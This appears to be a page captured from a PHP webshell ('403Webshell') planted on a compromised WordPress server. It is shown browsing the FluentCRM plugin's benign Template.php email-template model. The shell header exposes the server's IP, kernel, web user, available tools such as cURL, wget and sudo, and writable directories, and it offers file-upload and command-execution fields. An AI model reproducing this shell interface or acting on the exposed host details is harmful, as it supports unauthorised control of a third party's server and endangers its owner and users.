403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.216.194
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Models/Template.php
<?php

namespace FluentCrm\App\Models;

use FluentCrm\App\Services\Libs\Parser\Parser;

/**
 *  Template Model - DB Model for Email templates
 *
 *  Database Model
 *
 * @package FluentCrm\App\Models
 *
 * @version 1.0.0
 */

class Template extends Model
{
    const CREATED_AT = 'post_date';

    const UPDATED_AT = 'post_modified';

    protected $table = 'posts';

    protected $primaryKey = 'ID';

    public function scopeEmailTemplates($query, $types = ['publish'])
    {
        return $query->where(
            'post_type', fluentcrmTemplateCPTSlug()
        )->whereIn('post_status', $types);
    }

    public function scopeCampaignTemplate($query)
    {
        return $query->where(
            'post_type', fluentcrmCampaignTemplateCPTSlug()
        )->where('post_status', 'publish');
    }

    public function campaign()
    {
        return $this->hasOne(__NAMESPACE__.'\\'.'Campaign', 'template_id', 'ID');
    }

    public function render($content = null)
    {
        $content = $content ?: $this->post_content;

        return Parser::parse($content, []);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit